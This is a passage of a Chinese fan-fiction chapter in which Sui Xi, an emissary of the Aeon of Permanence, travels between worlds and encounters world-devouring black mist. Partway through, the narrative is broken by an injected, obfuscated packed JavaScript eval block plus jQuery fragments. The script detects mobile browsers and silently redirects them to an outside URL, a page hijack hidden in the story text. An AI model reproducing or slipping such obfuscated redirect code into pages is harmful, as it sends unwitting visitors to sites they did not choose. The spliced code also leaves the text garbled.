难道不趁着现在自己还没有被命途完全同化的时间去让自己的孩子拥抱自由吗?星神被命途束缚,祂也不例外。哪怕在岁夕和其他孩子们的陪伴下,自己的人性仍然在流失。迟早有一天祂会成为命途的傀儡。 那时的祂还会不会放岁夕自由? 恐怕很难。 倒不如在自己还保留自我的情况下去顺着自己孩子的心意。 “夕……”祂坚定地开了口。 “你是被我从其他世界带回来的。你想回去的泰拉不在这个世界。”岁夕是祂心爱的孩子,是祂的代言人。其他世界又何妨?她想要什么祂都能给她带回来! 这一次换成岁夕陷入了沉默。 什么叫做、另一个世界? “想去就去吧,不朽的力量会护着你在世界间穿行。”祂已然做好了决定。 “好。”她的声音有些干涩。她对父亲的控制欲心知肚明,也因此对不朽所作出的决定百感交集。 也不知道世界间的时间流速是否一致……在这个世界的宇宙中存在着名为“星震”的现象,使不同星系间的时间不一致,那么不同的世界之间呢?往好了说,她或许还能见到活着的亲朋好友,往坏了说,她说不准只来得及为他们收敛尸骨。 岁夕这一次出行可是带了不少东西。 不朽简直是恨不得把汤海都整个塞进她的画卷里面。 她的弟弟妹妹们就更不用说了,不朽一个星神怎么照看地过来那么多孩子?后诞生的龙裔大多都被岁夕带过,就连新出生的小崽子都被父母们带着去看这位大前辈。于是画卷里的东西越装越多。 不朽没能顺利把汤海放进画卷里,但是这并不妨碍祂一点点人工置换把画卷里画出来的水换成了汤海的水。 岁夕也任由家人们瞎折腾。她也心知自己这一去也不知道什么时候能回得来,顺着他们多带些东西,也省得大家在自己连门都没出去的时候就开始担心。 普天之下会这么担心自己这么一位能手撕星系的令使的人,大概也只有自己的亲友们吧? 踏足不同世界间裂隙的感觉并不怎么样。杂乱无章的空间中各种力量随意地波动着,随时会对到访者造成伤害。不过这对夕而言到没有什么。她作为不朽的令使,又坐拥来自岁的权柄,这些伤害连她支起的防御都很难突破。若是突破了也没什么,作为龙裔的她肉身强度极高,这些力量也只能算是给她挠挠痒,连皮都破不了。 在裂隙当中,时间难以计算。岁夕也说不上来自己到底走了多久。 仅仅依靠着对那幅画卷的感知锁定着前进的方向,她大步向前走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201038|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这、是、什、么? 泛着虚幻光彩的漆黑雾气弥漫在这裂隙当中,它们贪婪地到处嗅闻着啃食着,不放过一切能被它们食用的事物。 与其说相似,倒不如说它们就是。曾经的夕会认为最后毁灭一切的是邪魔,可是现在的岁夕知道这绝不是邪魔。无论怎么说,邪魔都是归属于泰拉本地的存在,再怎么对泰拉动手,也只会是泰拉内部的毁灭。而她的记忆当中……泰拉的毁灭是因为外来原因。 那撕裂一切的正是这些漆黑的雾气。 长尾暴躁地在空中打了个响,赤红的眼睛紧紧盯着这些雾气,手中的长剑上力量在不断地聚集,然后她避开那些无辜的世界,斩出一剑。 被避开了? 岁夕皱着眉头看着那些雾气散开又聚合,还摆出了一个无辜的表情包?无论哪里都不太对劲。它们和她所想的差别实在是太大。她聚精会神地看着眼前的“生物”,手中的剑被紧紧握住。 它们似乎有些疑惑还有些不解。说起来……她可是亲眼看见它们一口口啃下了那些破碎的世界。那么强大的力量一点都没办法让他们获得加强?也不是储存,她可以感知到那些力量就仿佛凭空消失一般。是转移?可是那么庞大的力量怎么可能完全感知不到? 雾气飘到了她的附近,很有礼貌地给她留下一个安全距离。 岁夕一时间只觉得脑海里警铃大作,她当机立断收回了全部在外的权柄,用浓厚的不朽的命途力量紧紧包裹住自己——她有一种很不妙的直觉。 她的身板可不比世界的碎片坚硬多少,这雾气啃食了破碎的世界却没有啃食她,这象征的东西可多了,例如说,它们是否只能啃食破碎的世界和出身那些世界的生命? 她如今的身躯与不朽的力量自然是出自完整的世界,可是她的权柄可不一样。她无法保证泰拉所处的世界未曾破碎。 雾气轻轻地嗅了几下,似乎已经确定了她的身份。它们拼凑着各自的身躯摆出一个象征友好的颜文字,慢悠悠地离开了。 岁夕有些惊疑不定,她无法确定这些雾气是否会盯上自己,也无法完全确定这些雾气行事的规律。若是它们只为了破碎的世界与力量而来,那就只有自己会被盯上。可是如果它们因为自己而盯上了不朽的力量呢? 那可是,“不朽”啊。 贪图长生不死的生命实在是太多,这些雾气又很明显掌握着吞噬的力量,她又无法把握它们的真实情况。 要因为自己的原因给自己的家人和故土造成威胁? 她可太不愿意了。 已经失去了一个家的她绝不想失去另一个家。 岁夕看向身后的世界,干净剔透中藏着些许污秽,七种亮闪闪的颜色伴着四道耀眼的光辉紧紧守护着这个世界。完整而又强大。 暂且去这里歇歇脚避一避那些雾气吧。 她纵身一跃。